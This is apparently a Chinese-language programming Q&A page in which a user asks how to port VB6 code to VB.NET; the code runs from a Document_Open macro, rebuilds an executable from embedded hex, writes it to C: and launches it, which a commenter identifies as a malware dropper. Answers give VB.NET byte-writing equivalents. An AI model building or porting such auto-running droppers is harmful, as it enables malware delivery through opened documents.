2013-10-18 48 views
0

我有這個代碼在vb6可以創建一個exe文件的十六進制代碼。我想在vb.net做同樣的事情。從十六進制代碼轉換爲exe文件在vb.net

這是我的VB6代碼:

Public Sub Document_Open() 

    Dim str As String 
    Dim hex As String 

    hex = hex & "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00" 
    hex = hex & "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" 

    'you have to put the full hex code of the application here 

    Dim exe As String 
    Dim i As Long 
    Dim puffer As Long 

    i = 1 

    Do 
     str = Mid(hex, i, 2) 

     'convert hex to decimal 
     puffer = Val("&H" & str) 

     'convert decimal to ASCII 
     exe = exe & Chr(puffer) 

     i = i + 2 

     If i >= Len(hex) - 2 Then 
      Exit Do 
     End If 
    Loop 

    'write to file 
    Open "C:\application.exe" For Append As #2 
    Print #2, exe 
    Close #2 

    'and run the exe 
    Dim pid As Integer 
    pid = Shell("C:\application.exe", vbNormalFocus) 

End Sub 
+0

這種惡意軟件被稱爲「滴管」。 – Bob77

+0

它不是一個惡意軟件只是一個想法來到我我做了它在vb6並嘗試做到這一點在vb.net –

+0

這不是一個合法的技術,並沒有任何價值。 – Bob77

回答

0

如果數據是字面定義爲一個字節數組,這樣它會更容易:

Dim bytes() As Byte = {&H4D, &H5A, &H50, 
         &H0, &H2, &H0} ' etc... 
File.WriteAllBytes("c:\application.exe", bytes) 

不過,這將是更好要將二進制數據存儲在資源中,則只需將資源寫入文件,如下所示:

File.WriteAllBytes("c:\application.exe", My.Resources.Application_exe) 

如果你真的需要把它從一個十六進制字符串轉換,你可以做這樣的:

Dim hex As String = "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00" & 
        "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" 
Using fs As New FileStream("c:\application.exe", FileMode.Create, FileAccess.Write) 
    For Each byteHex As String In hex.Split() 
     fs.WriteByte(Convert.ToByte(byteHex, 16)) 
    Next 
End Using 
+0

昏暗的字節()作爲字節,它將需要一個大字符串 –

+0

你問我怎麼可以用字符串而不是字節數組字面呢?我不知道你的意見是什麼意思。 –

+0

您還可以將數據作爲Base64編碼字符串存儲在應用程序中,開銷將很小。 –